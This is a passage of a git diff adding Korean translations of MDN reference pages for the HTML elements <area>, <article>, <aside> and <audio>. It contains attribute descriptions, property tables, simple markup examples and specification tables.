+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 존재해야 하며 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소. 단, 조상 중 {{htmlelement("map")}} 요소가 존재해야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{htmlattrxref("href", "area")}} 특성이 존재하면 {{ariarole("link")}}, 그 외의 경우 <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLAreaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>이미지를 출력하지 않는 브라우저에서 대신 표시할 대안 텍스트입니다. 텍스트의 내용은 대안 텍스트 없이 이미지만 표시할 때와 동일한 수준의 선택지를 나타낼 수 있어야 합니다. {{htmlattrxref("href", "area")}} 특성이 존재할 경우 필수 사항입니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("coords")}}</dt>
+ <dd>핫스팟 영역을 지정하는 일련의 좌표입니다. 값의 수와 의미는 <code>shape</code> 특성의 값에 따라 달라집니다.</dd>
+ <dd>
+ <ul>
+  <li><code>rect</code>: 좌상단과 우하단을 나타내는 두 개의 x, y 쌍입니다.</li>
+  <li><code>circle</code>: <code>x,y,r</code>로서 <code>x,y</code>는 원의 중심 좌표이며 <code>r</code>은 반지름입니다.</li>
+  <li><code>poly</code>: 다각형의 꼭지점을 나타내는 다수의 x, y 쌍(<code>x1,y1,x2,y2,x3,y3,...</code>)입니다.</li>
+ </ul>
+ 값의 단위는 CSS 픽셀입니다.</dd>
+ <dt>{{htmlattrdef("download")}}</dt>
+ <dd>특성이 존재할 경우, 이 하이퍼링크는 리소스 다운로드 용도로 사용하는 것을 의도했음을 나타냅니다. {{htmlelement("a")}}의 {{htmlattrxref("download", "a")}} 특성 설명에서 전체 설명을 볼 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd><code>&lt;area&gt;</code> 하이퍼링크의 대상입니다. 유효한 URL이야 합니다. 생략할 경우, 이 <code>&lt;area&gt;</code> 요소는 하이퍼링크를 나타내지 않습니다.</dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>연결한 리소스의 언어를 나타냅니다. 가능한 값은 <a class="external external-icon" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>에 따릅니다. {{htmlattrxref("href", "area")}} 특성이 존재할 때만 사용하세요.</dd>
+ <dt>{{htmlattrdef("ping")}}</dt>
+ <dd>하이퍼링크를 따라갈 때, 백그라운드에서 브라우저가 {{HTTPMethod("POST")}} 요청을 본문 <code>PING</code>으로 전송할 URL의 목록입니다. 공백으로 구분하며 주로 추적용으로 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+  <li><code>"no-referrer"</code> meaning that the <code>Referer:</code> header will not be sent.</li>
+  <li>"<code>no-referrer-when-downgrade</code>" meaning that no <code>Referer:</code> header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+  <li><code>"origin"</code> meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.</li>
+  <li>"origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path.</li>
+  <li><code>"unsafe-url"</code> meaning that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>For anchors containing the <strong>href</strong> attribute, this attribute specifies the relationship of the target object to the link object. The value is a comma-separated list of <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types">link types values</a>. The values and their semantics will be registered by some authority that might have meaning to the document author. The default relationship, if no other is given, is void. Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+ <dt>{{htmlattrdef("shape")}}</dt>
+ <dd>관련된 핫 스폿의 모양. The specifications for HTML 5 and HTML 4 define the values <code>rect</code>, which defines a rectangular region; <code>circle</code>, which defines a circular region; <code>poly</code>, which defines a polygon; and <code>default</code>, which indicates the entire region beyond any defined shapes. Many browsers, notably Internet Explorer 4 and higher, support <code>circ</code>, <code>polygon</code>, and <code>rectangle</code> as valid values for <strong>shape</strong>; these values are {{Non-standard_inline}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>이 속성은 링크된 리소스가 어디에 표시될지 지정합니다. HTML4에서 이것은 프레임의 이름이나 키워드가 될수 있습니다. HTML5에서는, 브라우징 컨텍스트(탭,윈도우,인라인 프레임)의 이름이나 키워드가 될수 있습니다. 다음 키워드들은 특별한 의미를 가지고 있습니다.
+ <ul>
+  <li><code>_self</code>: 결과를 현재 HTML4 프레임 또는 HTML5 브라우징 컨텍스트에 로드합니다. 이 target 속성이 정의되어있지 않은경우 이 값이 기본값이 됩니다.</li>
+  <li><code>_blank</code>: 결과를 이름없는 새로운 HTML4 윈도우나 HTML5 브라우징 컨텍스트에 로드합니다.</li>
+  <li><code>_parent</code>: 결과를 현재 HTML4 프레임의 부모 프레임셋에 로드하거나 부모 HTML5 브라우징 컨텍스트에 로드합니다. 만약 부모가 없을 경우 _self와 동일하게 여겨집니다.</li>
+  <li><code>_top</code>: HTML4에서는, 다른 모든 프레임을 취소하고 결과를 꽉찬 본래의 윈도우에 로드합니다. HTML5에서는, 결과를 최상위 브라우징 컨텍스트에 로드합니다. 만약 부모가 없다면, 이 옵션은 _self와 같이 행동합니다.</li>
+ </ul>
+ 이 속성은 <strong>href</strong> 속성이 존재할떄만 사용합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("name")}} {{deprecated_inline}}</dt>
+ <dd>Define a names for the clickable area so that it can be scripted by older browsers.</dd>
+ <dt>{{htmlattrdef("nohref")}} {{deprecated_inline}}</dt>
+ <dd>Indicates that no hyperlink exists for the associated area.
+ <div class="note">
+ <p><strong>Note: </strong>Since HTML5, omitting the <code>href</code> attribute is sufficient.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("tabindex")}} {{deprecated_inline}}</dt>
+ <dd>A numeric value specifying the position of the defined area in the browser tabbing order. This attribute is global in HTML5.</dd>
+ <dt>{{htmlattrdef("type")}} {{deprecated_inline}}</dt>
+ <dd>No effect. Browsers ignore it. (The W3C 5.3 fork of the HTML specification defines it as valid, but <a href="https://html.spec.whatwg.org/multipage/#the-area-element">the canonical HTML specification</a> doesn’t, and it has no effect in any user agents.)</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;map name="primary"&gt;
+  &lt;area shape="circle" coords="200,250,25" href="another.htm" /&gt;
+  &lt;area shape="default" nohref /&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="http://placehold.it/350x150" alt="350 x 150 pic"&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 360, 160)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-map-element.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.area")}}</p>
diff --git a/files/ko/web/html/element/article/index.html b/files/ko/web/html/element/article/index.html
new file mode 100644
index 0000000000..6602a7722e
--- /dev/null
+++ b/files/ko/web/html/element/article/index.html
@@ -0,0 +1,137 @@
+---
+title: <article>
+slug: Web/HTML/Element/article
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/article
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;article&gt;</code> 요소</strong>는 문서, 페이지, 애플리케이션, 또는 사이트 안에서 독립적으로 구분해 배포하거나 재사용할 수 있는 구획을 나타냅니다.</span> 사용 예제로 게시판과 블로그 글, 매거진이나 뉴스 기사 등이 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/article.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>하나의 문서가 여러 개의 <code>&lt;article&gt;</code>을 가질 수 있습니다. 예컨대 사용자가 스크롤하면 계속해서 다음 글을 보여주는 블로그의 경우, 각각의 글이 <code>&lt;article&gt;</code> 요소가 되며, 그 안에는 또 여러 개의 {{htmlelement("section")}}이 존재할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></dfn></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>가능한 콘텐츠</dfn></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>태그 생략</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>가능한 부모 요소</dfn></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+    <code>&lt;article&gt;</code> 요소는 {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{ariarole("article")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>각각의 <code>&lt;article&gt;</code>을 식별할 수단이 필요합니다. 주로 제목({{htmlelement('h1')}}-{{htmlelement('h6')}}) 요소를 <code>&lt;article&gt;</code>의 자식으로 포함하는 방법을 사용합니다.</li>
+ <li><code>&lt;article&gt;</code> 요소가 중첩되어 있을 때, 안쪽에 있는 요소는 바깥쪽에 있는 요소와 관련된 글을 나타냅니다. 예를 들어 블로그 글의 댓글은, 글을 나타내는 <code>&lt;article&gt;</code> 요소 안에 중첩한 <code>&lt;article&gt;</code>로 나타낼 수 있습니다.</li>
+ <li><code>&lt;article&gt;</code> 요소의 작성자 정보를 {{HTMLElement("address")}} 요소를 이용하여 제공할 수 있습니다. 그러나 중첩 <code>&lt;article&gt;</code>에는 적용되지 않습니다.</li>
+ <li><code>&lt;article&gt;</code> 요소의 작성일자와 시간은 {{HTMLElement("time")}} 요소의 {{htmlattrxref("datetime", "time")}} 속성을 이용하여 설명할 수 있습니다. 참고로 {{HTMLElement("time")}} 요소의 {{htmlattrxref("pubdate", "time")}} 속성은 더 이상 {{glossary("W3C")}} {{glossary("HTML5")}} 표준안에 포함되지 않습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;article class="film_review"&gt;
+  &lt;header&gt;
+    &lt;h2&gt;Jurassic Park&lt;/h2&gt;
+  &lt;/header&gt;
+  &lt;section class="main_review"&gt;
+    &lt;p&gt;Dinos were great!&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section class="user_reviews"&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;Way too scary for me.&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Posted on &lt;time datetime="2015-05-16 19:00"&gt;May 16&lt;/time&gt; by Lisa.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;I agree, dinos are my favorite.&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Posted on &lt;time datetime="2015-05-17 19:00"&gt;May 17&lt;/time&gt; by Tom.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+  &lt;/section&gt;
+  &lt;footer&gt;
+    &lt;p&gt;
+      Posted on &lt;time datetime="2015-05-15 19:00"&gt;May 15&lt;/time&gt; by Staff.
+    &lt;/p&gt;
+  &lt;/footer&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.article")}}</p>
diff --git a/files/ko/web/html/element/aside/index.html b/files/ko/web/html/element/aside/index.html
new file mode 100644
index 0000000000..416f1d5edc
--- /dev/null
+++ b/files/ko/web/html/element/aside/index.html
@@ -0,0 +1,122 @@
+---
+title: '<aside>: 별도 구획 요소'
+slug: Web/HTML/Element/aside
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - HTML5
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/aside
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;aside&gt;</code> 요소</strong>는 문서의 주요 내용과 간접적으로만 연관된 부분을 나타냅니다. 주로 사이드바 혹은 콜아웃 박스로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+    <code>&lt;aside&gt;</code> 요소는 {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><code><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Complementary_role">complementary</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 요소</th>
+   <td>{{ARIARole("feed")}}, {{ariarole("none")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>괄호에 묶인 텍스트라도 문서의 주요 플로우에 포함되어야 하므로 <code>&lt;aside&gt;</code>로 나타내선 안됩니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="&lt;aside>_사용하기"><code>&lt;aside&gt;</code> 사용하기</h3>
+
+<p>다음 예제는 글 내의 문단을 <code>&lt;aside&gt;</code>로 표시합니다. 해당 문단은 글의 주제와 간접적으로만 연결되어 있습니다.</p>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;p&gt;
+    디즈니 만화영화 &lt;em&gt;인어 공주&lt;/em&gt;는
+    1989년 처음 개봉했습니다.
+  &lt;/p&gt;
+  &lt;aside&gt;
+    인어 공주는 첫 개봉 당시 8700만불의 흥행을 기록했습니다.
+  &lt;/aside&gt;
+  &lt;p&gt;
+    영화에 대한 정보...
+  &lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.aside")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 구획과 개요 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/element/audio/index.html b/files/ko/web/html/element/audio/index.html
new file mode 100644
index 0000000000..57056b3230
--- /dev/null
+++ b/files/ko/web/html/element/audio/index.html
@@ -0,0 +1,417 @@
+---
+title: <audio>
+slug: Web/HTML/Element/audio
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - HTML5
+  - Media
+  - Multimedia
+  - Reference
+  - Web
+  - 소리
+  - 오디오
+translation_of: Web/HTML/Element/audio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;audio&gt;</code> 요소</strong>는 문서에 소리 콘텐츠를 포함할 때 사용합니다.</span> <code>src</code> 특성 또는 {{htmlelement("source")}} 요소를 사용해 한 개 이상의 오디오 소스를 지정할 수 있으며, 다수를 지정한 경우 가장 적절한 소스를 브라우저가 고릅니다. {{domxref("MediaStream")}}을 사용하면 미디어 스트림을 바라볼 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/audio.html","tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>지정한 경우, 전체 오디오 파일의 다운로드를 기다리지 않고 가능한 빠른 시점에 재생을 시작합니다.
+ <div class="note"><strong>참고</strong>: 오디오 및 오디오를 가진 비디오를 자동으로 재생하는 사이트는 사용자 경험에 악영향을 끼칠 수 있으므로 피해야 합니다. 반드시 자동 재생을 제공해야 한다면 사용자의 명시적인 동의를 얻어야 하도록 해야 합니다. 그러나, 미디어 소스가 사용자의 선택에 의해 나중에 정해지는 경우라면 자동 재생이 유용할 수 있습니다. <a href="/ko/docs/Web/Media/Autoplay_guide">자동 재생 안내서</a>를 방문하고 추가 정보와 적절한 사용법을 알아보세요.</div>
+ </dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>지정한 경우 오디오 재생, 볼륨, 탐색, 일시 정지 컨트롤을 브라우저에서 제공합니다.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>CORS를 사용해 지정한 오디오 파일을 가져올지 나타내는 열거형 특성. <a href="/ko/docs/Web/HTML/CORS_enabled_image">교차 출처 활성화 리소스</a>는 {{HTMLElement("canvas")}} 요소에 사용해도 캔버스를 "오염"시키지 않습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>자격 증명 없이 교차 출처 요청을 전송합니다. 즉, <code>Origin:</code> HTTP 헤더를 쿠키, X.509 인증서, HTTP Basic 인증 없이 전송합니다. 서버에서 <code>Access-Control-Allow-Origin:</code> HTTP 헤더를 지정하지 않음으로써 요청 출처 사이트에 자격 증명을 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>자격 증명과 함께 교차 출처 요청을 전송합니다. 즉, <code>Origin:</code> HTTP 헤더를 쿠키, X 509 인증서, 또는 HTTP Basic 이증과 함께 전송합니다. 서버에서 <code>Access-Control-Allow-Origin:</code> HTTP 헤더를 통한 자격 증명을 요청 출처 사이트에 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ </dl>
+ 특성이 존재하지 않으면 리소스를 CORS 요청 없이(<code>Origin:</code> HTTP 헤더 없이) 가져오므로, {{htmlelement("canvas")}}를 오염시키게 됩니다. 유효하지 않은 값의 경우 anonymous 키워드를 사용한 것으로 간주합니다.</dd>
+ <dt>{{htmlattrdef("currentTime")}}</dt>
+ <dd>
+ <p>Reading <code>currentTime</code> returns a double-precision floating-point value indicating the current playback position, in seconds, of the audio. If the audio's metadata isn't available yet—thereby preventing you from knowing the media's start time or duration—<code>currentTime</code> instead indicates, and can be used to change, the time at which playback will begin. Otherwise, setting <code>currentTime</code> sets the current playback position to the given time and seeks the media to that position if the media is currently loaded.</p>
+
+ <p>If the audio is being streamed, it's possible that the {{Glossary("user agent")}} may not be able to obtain some parts of the resource if that data has expired from the media buffer. Other audio may have a media timeline that doesn't start at 0 seconds, so setting <code>currentTime</code> to a time before that would fail. For example, if the audio's media timeline starts at 12 hours, setting <code>currentTime</code> to 3600 would be an attempt to set the current playback position well before the beginning of the media, and would fail. The {{domxref("HTMLMediaElement.getStartDate", "getStartDate()")}} method can be used to determine the beginning point of the media timeline's reference frame.</p>
+ </dd>
+ <dt>{{htmlattrdef("disableRemotePlayback")}} {{experimental_inline}}</dt>
+ <dd>A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc). See <a href="https://www.w3.org/TR/remote-playback/#the-disableremoteplayback-attribute">this proposed specification</a> for more information.
+ <p class="note">In Safari, you can use <a href="https://developer.apple.com/library/archive/documentation/AudioVideo/Conceptual/AirPlayGuide/OptingInorOutofAirPlay/OptingInorOutofAirPlay.html"><code>x-webkit-airplay="deny"</code></a> as a fallback.</p>
+ </dd>
+ <dt>{{htmlattrdef("duration")}} {{ReadOnlyInline}}</dt>
+ <dd>A double-precision floating-point value which indicates the duration (total length) of the audio in seconds, on the media's timeline. If no media is present on the element, or the media is not valid, the returned value is <code>NaN</code>. If the media has no known end (such as for live streams of unknown duration, web radio, media incoming from <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>, and so forth), this value is <code>+Infinity</code>.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>A Boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>A Boolean attribute that indicates whether the audio will be initially silenced. Its default value is <code>false</code>.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. It may have one of the following values:
+ <ul>
+  <li><code>none</code>: Indicates that the audio should not be preloaded.</li>
+  <li><code>metadata</code>: Indicates that only audio metadata (e.g. length) is fetched.</li>
+  <li><code>auto</code>: Indicates that the whole audio file can be downloaded, even if the user is not expected to use it.</li>
+  <li><em>empty string</em>: A synonym of the <code>auto</code> value.</li>
+ </ul>
+
+ <p>The default value is different for each browser. The spec advises it to be set to <code>metadata</code>.</p>
+
+ <div class="note"><strong>Usage notes:</strong>
+
+ <ul>
+  <li>The <code>autoplay</code> attribute has precedence over <code>preload</code>. If <code>autoplay</code> is specified, the browser would obviously need to start downloading the audio for playback.</li>
+  <li>The browser is not forced by the specification to follow the value of this attribute; it is a mere hint.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The URL of the audio to embed. This is subject to <a href="/en-US/docs/HTTP_access_control">HTTP access controls</a>. This is optional; you may instead use the {{htmlelement("source")}} element within the audio block to specify the audio to embed.</dd>
+</dl>
+
+<p>Time offsets are specified as float values indicating the number of seconds to offset.</p>
+
+<div class="note"><strong>Note:</strong> The time offset value definition has not yet been completed in the HTML5 specification and is subject to change.</div>
+
+<h2 id="이벤트">이벤트</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이벤트 이름</th>
+   <th scope="col">발생 조건</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
